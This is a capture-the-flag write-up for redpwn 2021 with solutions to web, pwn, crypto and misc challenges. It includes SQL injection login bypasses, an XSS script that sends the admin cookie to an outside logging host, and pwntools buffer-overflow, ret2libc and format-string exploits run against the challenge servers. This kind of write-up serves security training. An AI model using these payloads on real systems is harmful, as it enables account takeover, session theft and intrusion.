# Redpwn 2021 - DeepWater ## misc/sanity-check > > 240 solves / 1 point > > I get to write the sanity check challenge! Alright! > > flag{1_l0v3_54n17y_ch3ck_ch4ll5} ## misc/discord > BrownieInMotion > 165 solves / 1 point > > Join the discord! I hear #rules is an incredibly engaging read. > Discord flag: > flag{chall3n63_au7h0r5h1p_1nfl4710n} ## web/inspect-me > NotDeGhost > 171 solves / 116 points > > See if you can find the flag in the source code! > > inspect-me.mc.ax ``` <h2>important updates!</h2> <li>We are working hard to always keep our site as up-to-date and modern as possible!</li> <li>TODO: remove flag from HTML comment</li> <!-- flag{inspect_me_like_123} --> <hr> ``` ## misc/compliant-lattice-feline > KyleForkBomb > 141 solves / 120 points > > get a flag! > > nc mc.ax 31443 ``` kali@kali:~$ nc mc.ax 31443 flag{n3tc4t_1s_a_pip3_t0_the_w0rld} ``` ## crypto/scissor > BrownieInMotion > 71 solves / 142 points > > I was given this string and told something about scissors. > > egddagzp_ftue_rxms_iuft_rxms_radymf ``` import random key = random.randint(0, 25) alphabet = 'abcdefghijklmnopqrstuvwxyz' shifted = alphabet[key:] + alphabet[:key] dictionary = dict(zip(alphabet, shifted)) print(''.join([ dictionary[c] if c in dictionary else c for c in input() ])) ``` ``` import random key = random.randint(0, 25) for key in range(25): alphabet = 'abcdefghijklmnopqrstuvwxyz' shifted = alphabet[key:] + alphabet[:key] dictionary = dict(zip( shifted,alphabet)) print(''.join([ dictionary[c] if c in dictionary else c for c in "egddagzp_ftue_rxms_iuft_rxms_radymf" ])) ``` **flag{surround_this_flag_with_flag_format}** ## web/orm-bad > ra > 49 solves / 163 points > > I just learned about orms today! They seem kinda difficult to implement though... Guess I'll stick to good old raw sql statements! > > orm-bad.mc.ax > > Downloads > app.js ``` const express = require('express'); const sqlite3 = require('sqlite3'); const crypto = require('crypto') const app = express(); app.use(express.urlencoded({extended: true})); app.use(express.static('./public')); app.set('view engine', 'ejs'); const db = new sqlite3.Database(':memory:'); const flag = process.env.FLAG; // yes i know this is callback hell no im not sure if sqlite3 supports promises // and yes this is necessary because of a race condition on program start db.run("CREATE table IF NOT EXISTS users (username text, password text)", () => { db.all("SELECT * FROM users WHERE username='admin'", (err, rows) => { if (err) { throw err; } else if (rows.length == 0) { // generate random admin password crypto.randomBytes(32, (err, buf) => { // if you managed to make this error you deserve it if (err) { throw err; } db.all("INSERT INTO users VALUES ('admin', $1)", [buf.toString('hex')]); console.log("Admin password: " + buf.toString('hex')); }); } }) }); app.get('/', (req, res) => { return res.render("index.ejs", {"alert": req.query.alert}); }) app.post('/flag', (req, res) => { db.all("SELECT * FROM users WHERE username='" + req.body.username + "' AND password='" + req.body.password + "'", (err, rows) => { try { if (rows.length == 0) { res.redirect("/?alert=" + encodeURIComponent("you are not admin :(")); } else if(rows[0].username === "admin") { res.redirect("/?alert=" + encodeURIComponent(flag)); } else { res.redirect("/?alert=" + encodeURIComponent("you are not admin :(")); } } catch (e) { res.status(500).end(); } }) }) app.listen(80, () => console.log('Site listening on port 80')); ``` admin / ' OR 1=1 -- **flag{sqli_overused_again_0b4f6}** ## rev/wstrings > NotDeGhost > 23 solves / 229 points > > Some strings are wider than normal... **flag{n0t_al1_str1ngs_ar3_sk1nny}** ## crypto/baby > EvilMuffinHa > 16 solves / 272 points > > I want to do an RSA! ``` n: 228430203128652625114739053365339856393 e: 65537 c: 126721104148692049427127809839057445790 ``` http://factordb.com/index.php?query=228430203128652625114739053365339856393 ``` import binascii p=12546190522253739887 q=18207136478875858439 n= 228430203128652625114739053365339856393 e= 65537 c= 126721104148692049427127809839057445790 assert p*q==n phi=(p-1)*(q-1) d=pow(e,-1,phi) p=pow(c,d,n) print(binascii.unhexlify(hex(p)[2:])) ``` ``` kali@kali:~/Downloads$ python3 rsa.py b'flag{68ab82df34}' ``` **flag{68ab82df34}** ## web/pastebin-1 > BrownieInMotion > 9 solves / 347 points > > Ah, the classic pastebin. > > pastebin-1.mc.ax > > Admin bot > ``` https://aaaaa.free.beeceptor.com <script>var xhr=new XMLHttpRequest(); xhr.open("GET", "https://aaaaa.free.beeceptor.com?"+document.cookie, true); xhr.send(); </script> ``` https://pastebin-1.mc.ax/view?id=ekhbosqyrgxpunjl **GET /?flag=flag{d1dn7_n33d_70_b3_1n_ru57}** ## pwn/beginner-generic-pwn-number-0 > pepsipu > 5 solves / 415 points > > rob keeps making me write beginner pwn! i'll show him... > > nc mc.ax 31199 ``` 00000000004011f6 <main>: 4011f6: f3 0f 1e fa endbr64 4011fa: 55 push rbp 4011fb: 48 89 e5 mov rbp,rsp 4011fe: 48 83 ec 30 sub rsp,0x30 [...] 4012ac: 48 8d 3d 35 0f 00 00 lea rdi,[rip+0xf35] # 4021e8 <_IO_stdin_used+0x1e8> 4012b3: e8 08 fe ff ff call 4010c0 <system@plt> 4012b8: b8 00 00 00 00 mov eax,0x0 4012bd: c9 leave 4012be: c3 ret 4012bf: 90 nop ``` ``` from pwn import * for i in range(56,57): print(i) p=process("./beginner-generic-pwn-number-0") p.sendline(b"a"*i+p64(0x4012ac)) try: p.interactive() p.close() except: pass p =connect("mc.ax", 31199) p.sendline(b"a"*i+p64(0x4012ac)) p.interactive() ``` ``` [+] Opening connection to mc.ax on port 31199: Done [*] Switching to interactive mode "๐˜ฑ๐˜ญ๐˜ฆ๐˜ข๐˜ด๐˜ฆ ๐˜ธ๐˜ณ๐˜ช๐˜ต๐˜ฆ ๐˜ข ๐˜ฑ๐˜ธ๐˜ฏ ๐˜ด๐˜ฐ๐˜ฎ๐˜ฆ๐˜ต๐˜ช๐˜ฎ๐˜ฆ ๐˜ต๐˜ฉ๐˜ช๐˜ด ๐˜ธ๐˜ฆ๐˜ฆ๐˜ฌ" rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self! can you write me a heartfelt message to cheer me up? :( $ ls flag.txt run $ cat flag.txt flag{im-feeling-a-lot-better-but-rob-still-doesnt-pay-me} [*] Got EOF while reading in interactive $ ``` **flag{im-feeling-a-lot-better-but-rob-still-doesnt-pay-me}** ## pwn/ret2generic-flag-reader > pepsipu > 44 solves / 170 points > > i'll ace this board meeting with my new original challenge! > > nc mc.ax 31077 ``` from pwn import * elf = ELF("./ret2generic-flag-reader") print(elf.symbols) for i in range(40,41): print(i) p=process("./ret2generic-flag-reader") pl=b"a"*i+p64(elf.symbols["super_generic_flag_reading_functi> p.sendline(pl) try: print(p.recv()) p.close() except: pass input() for i in range(100): p =connect("mc.ax", 31077) pl=b"a"*i+p64(elf.symbols["super_generic_flag_reading_functi> p.sendline(pl) print(p.recv()) p.close() input() ``` **flag{rob-loved-the-challenge-but-im-still-paid-minimum-wage}** ## pwn/printf-please > NotDeGhost > 21 solves / 240 points > > Be sure to say please... > > nc mc.ax 31569 ``` from pwn import * import time import binascii for i in range(70,200): print("==========="+str(i)) p=connect("mc.ax", 31569) time.sleep(0.5) print(p.recv()) p.sendline(b"please %"+str(i).encode()+b"$lx") ans=p.recv() print(ans) try: print(binascii.unhexlify(ans.decode().split(" ")[1])) except: pass p.close() input() ``` **flag{pl3as3_pr1ntf_w1th_caut10n_9a3xl}** ## pwn/ret2the-unknown > pepsipu > 34 solves / 191 points > > hey, my company sponsored map doesn't show any location named "libc"! > > nc mc.ax 31568 ``` kali@kali:~/Desktop/ret2the-unknown$ strings -tx ./libc-2.28.so | grep /bin/sh 181519 /bin/sh kali@kali:~/Desktop/ret2the-unknown$ objdump -M intel -d libc-2.28.so | grep execve -B5 | grep rdi -C3 | grep 181519 -C3 c70c9: 00 c70ca: 4c 89 e2 mov rdx,r12 c70cd: 4c 89 ee mov rsi,r13 c70d0: 48 8d 3d 42 a4 0b 00 lea rdi,[rip+0xba442] # 181519 <_libc_intl_domainname@@GLIBC_2.2.5+0x15f> c70d7: e8 24 f9 ff ff call c6a00 <execve@@GLIBC_2.2.5> -- c7182: 48 85 c0 test rax,rax -- e5451: e8 ea 56 00 00 call eab40 <__close@@GLIBC_2.2.5> e5456: 48 8b 05 53 5a 0d 00 mov rax,QWORD PTR [rip+0xd5a53] # 1baeb0 <__environ@@GLIBC_2.2.5-0x31d0> e545d: 48 8d 74 24 60 lea rsi,[rsp+0x60] e5462: 48 8d 3d b0 c0 09 00 lea rdi,[rip+0x9c0b0] # 181519 <_libc_intl_domainname@@GLIBC_2.2.5+0x15f> e5469: 48 8b 10 mov rdx,QWORD PTR [rax] e546c: e8 8f 15 fe ff call c6a00 <execve@@GLIBC_2.2.5> ``` ``` from pwn import * import binascii import time p = process("./ret2the-unknown",env={"LD_PRELOAD" : "./libc-2.28.so ./ld-2.28.so "}) elf = ELF("./ret2the-unknown") libc = ELF("./libc-2.28.so") ld = ELF("./ld-2.28.so") # Symbols print(elf.symbols) # Payload get the leak pl = b"a"*40 pl += p64(elf.symbols["main"]) # Read prologue print(p.recv()) # Send the payload p.sendline(pl) leak = p.recv().decode().split("there: ")[1].split("\n")[0] print(leak) puts = elf.symbols['puts'] puts_rel = libc.symbols['puts'] printf_rel = libc.symbols['printf'] system_rel = libc.symbols['system'] bin_sh_rel = next(libc.search(b'/bin/sh')) print(hex(system_rel),hex(bin_sh_rel)) base= int("0x"+leak,16) - printf_rel # Send the payload pl = b"a"*40 pl += p64(base +0xe5456) pl += p64(elf.symbols["main"]) #pl += p64(elf.symbols["printf"]) pl += p64(base+bin_sh_rel) pl += p64(base+bin_sh_rel) print("===") p.sendline(pl) p.interactive() #print(p.recv()) p=connect("mc.ax", 31568) # Read prologue print(p.recv()) time.sleep(1) # Payload get the leak pl = b"a"*40 pl += p64(elf.symbols["main"]) # Send the payload p.sendline(pl) time.sleep(1) leak = p.recv().decode().split("there: ")[1].split("\n")[0] print(leak) base= int("0x"+leak,16) - printf_rel # Send the payload pl = b"a"*40 pl += p64(base +0xe5456) pl += p64(elf.symbols["main"]) #pl += p64(elf.symbols["printf"]) pl += p64(base+bin_sh_rel) pl += p64(base+bin_sh_rel) p.sendline(pl) p.interactive() ``` **flag{rob-is-proud-of-me-for-exploring-the-unknown-but-i-still-cant-afford-housing}** ## crypto/yahtzee > AdnanSlef > 30 solves / 202 points > > Pseudo-random number generators are weak! I use only true RNGs, like rolling a set of dice! > > nc mc.ax 31076 ``` #!/usr/local/bin/python from Crypto.Cipher import AES from Crypto.Util.number import long_to_bytes from random import randint from binascii import hexlify with open('flag.txt','r') as f: flag = f.read().strip() with open('keyfile','rb') as f: key = f.read() assert len(key)==32 ''' Pseudorandom number generators are weak! True randomness comes from phyisical objects, like dice! ''' class TrueRNG: @staticmethod def die(): return randint(1, 6) @staticmethod def yahtzee(N): dice = [TrueRNG.die() for n in range(N)] return sum(dice) def __init__(self, num_dice): self.rolls = num_dice def next(self): return TrueRNG.yahtzee(self.rolls) def encrypt(message, key, true_rng): nonce = true_rng.next() cipher = AES.new(key, AES.MODE_CTR, nonce = long_to_bytes(nonce)) return cipher.encrypt(message) ''' Stick the flag in a random quote! ''' def random_message(): NUM_QUOTES = 25 quote_idx = randint(0,NUM_QUOTES-1) with open('quotes.txt','r') as f: for idx, line in enumerate(f): if idx == quote_idx: quote = line.strip().split() break quote.insert(randint(0, len(quote)), flag) return ' '.join(quote) banner = ''' ============================================================================ = Welcome to the yahtzee message encryption service. = = We use top-of-the-line TRUE random number generators... dice in a cup! = ============================================================================ Would you like some samples? ''' prompt = "Would you like some more samples, or are you ready to 'quit'?\n" if __name__ == '__main__': NUM_DICE = 2 true_rng = TrueRNG(NUM_DICE) inp = input(banner) while 'quit' not in inp.lower(): message = random_message().encode() encrypted = encrypt(message, key, true_rng) print('Ciphertext:', hexlify(encrypted).decode()) inp = input(prompt) ``` > Ciphertext: 5fdfdca195c06d4519def66c2e6f7852bd1dc756789d74116b917852ddb582e09984956cb111ea8250d62861a5a133a42820980bc8eb623e0de1aa48257b29171f0f1d0cb498944f47261052730aeeb09ff40c9a2758d1bfe4c1b2b8d5c8885778b8a322207ec14776650c8f2d Would you like some more samples, or are you ready to 'quit'? > Ciphertext: 5fdfdca183c97e510d80be44113469558310dc1363da272d64b0490ec7e192b5c9998722b95eea9e1fc72d63e3a63fa5643dd60bc5f07e2c5dfcf91c39766c471e180d0aa9d19d4d063504427a36cda88ef43b8b6f4fc6ffe3beb584aa9683516fe4aa7b293bd84e7a2c1185230b7e3cb79a3e2614f7 > Would you like some more samples, or are you ready to 'quit'? > Ciphertext: 5fdfdca191c97f56429af75e1c7b3d49c219c35264da272f25aa5504d6e187b19addda7cfc07fc9702c16166a4a77ef1103cdd5fd3e76f3643ecf90a346038170f031300e7988801093d085c320ff6fdd8fb5497587d80fde4beafa390d7de5642ba955d6775db54257c018b > Would you like some more samples, or are you ready to 'quit'? > Ciphertext: 5fdfdca19ec37f56428df15e143427069508d6137acb683e69bb0706dab795f09c8dc82ab01ffe8d40da1e50f7f9248e303cdd0d93f1533762d7ea0625617c4702175e11af94925347221005771bbaf5cca00686275edca5fe8ab2a59285994d78adfa663b75db067d6d0e93230e7f2cf7 > Would you like some more samples, or are you ready to 'quit'? > > Ciphertext: 5fdfdca19ec37f564288f2521e20794ebd3e9b027ef1732660ac1412ecafbf8fda939c3eec0ee08b50d62861a5a133a42820980bc8eb623e0de1aa48257b29171f0f1d0cb498944f47261052730aeeb09ff40c9a2758d1bfe4c1b2b8d5c8885778b8a322207ec14776650c8f2d > Would you like some more samples, or are you ready to 'quit'? > > Ciphertext: 5fdfdca19ec37f56428af7551f322a538e1d8f4762c7692925b75441c7a995f08d988b25af17f69850c62e27a2ab24fd6420d01a80f0692a59a8b01b717e29451e060745b3949540043b0b0b3c49fcf0dee71fcf6f75e3f8a19584bf9dc09f166e8bb44d0b28c152673c088f7e > Would you like some more samples, or are you ready to 'quit'? > > > Ciphertext: 5fdfdca191c97f56429af75e1c7b2f4a830ed40362f1507a34aa7815dba482e39aa28603834df7820282317ebee824be6424d41ecef62c380dfcab0d34333b56084a4c55e7889e4015215f137506b4bcebe801df744fd7a3fe85fba990d6990569bdb7677472dc067b630fd8 > Would you like some more samples, or are you ready to 'quit'? > > Ciphertext: 5fdfdca191c97f56429af75e1c7b3d49c219c35264da272f25aa5504d6e187b19addda7cfc07fc9702c16166a4a77ef1103cdd5fd3e76f3643ecf90a346038171d061f02bcc1937e30664e064d1df2f9cdb317a06965ebfffe95a9fb85dc900569bdb7677472dc067b630fd8 > Would you like some more samples, or are you ready to 'quit'? ``` from itertools import cycle import binascii import string def xor(a,b) : return ''.join(chr(ord(i)^ord(j)) for i,j in zip(a,cycle(b))) # Reading data ct=binascii.unhexlify("5fdfdca191c97f56429af75e1c7b2f4a830ed40362f1507a34aa7815dba482e39aa28603834df7820282317ebee824be6424d41ecef62c380dfcab0d34333b56084a4c55e7889e4015215f137506b4bcebe801df744fd7a3fe85fba990d6990569bdb7677472dc067b630fd8") flag=binascii.unhexlify("5fdfdca191c97f56429af75e1c7b3d49c219c35264da272f25aa5504d6e187b19addda7cfc07fc9702c16166a4a77ef1103cdd5fd3e76f3643ecf90a346038171d061f02bcc1937e30664e064d1df2f9cdb317a06965ebfffe95a9fb85dc900569bdb7677472dc067b630fd8") # remove the key effect withoutkey= xor(flag,ct) wordlen= 8 print("Space Analysis ...") print("".join([x if x.lower() in string.ascii_lowercase else '.' for x in xor(withoutkey," ")])) print("=============") print("Underscore Analysis...") print("".join([x if x.lower() in string.ascii_lowercase else '.' for x in xor(withoutkey,"}")])) print("=============") print("[+] Word length "+str(wordlen)+" ...") for _word in ["the best time to plant a tree was 20 years ago the second best time is now","flag{0h_W41t_ther3s_nO_3ntr0py}"," flag{0h_w41t_th"," to plant a tree "," the ","er3s_","rebut"," on "," was 20 years ago."]: print("=============") word=_word l= len(word) L= len(flag)-l if l>=0: print(word) for i in range(L): dec = xor(withoutkey[i:i+l],word).lower() print(word,dec) print("."*i+dec+"."*max(len(flag)-i,0)) raw_input() print("=============") # flag{0h_W41t_ther3s_nO_3ntr0py} ``` ## crypto/blecc [Unsolved] > AdnanSlef > 97 solves / 130 points > > Blecc! What are all these numbers? This doesn't look like RSA... ``` p = 17459102747413984477 a = 2 b = 3 G = (15579091807671783999, 4313814846862507155) Q = (8859996588597792495, 2628834476186361781) d = ??? Can you help me find `d`? Decode it as a string and wrap in flag format. ``` ## web/secure > BrownieInMotion > 444 solves / 105 points > > Just learned about encryptionโ€”now, my website is unhackable! > > secure.mc.ax ``` const username = document.createElement('input'); username.setAttribute('name', 'username'); username.setAttribute('value', btoa(document.querySelector('#username').value) ); const password = document.createElement('input'); password.setAttribute('name', 'password'); password.setAttribute('value', btoa(document.querySelector('#password').value) ); ``` ``` curl https://secure.mc.ax/login -d "username=admin&password=' or 1=1--'" Found. Redirecting to /?message=flag%7B50m37h1n6_50m37h1n6_cl13n7_n07_600d%7D ``` **flag{50m37h1n6_50m37h1n6_cl13n7_n07_600d}** ##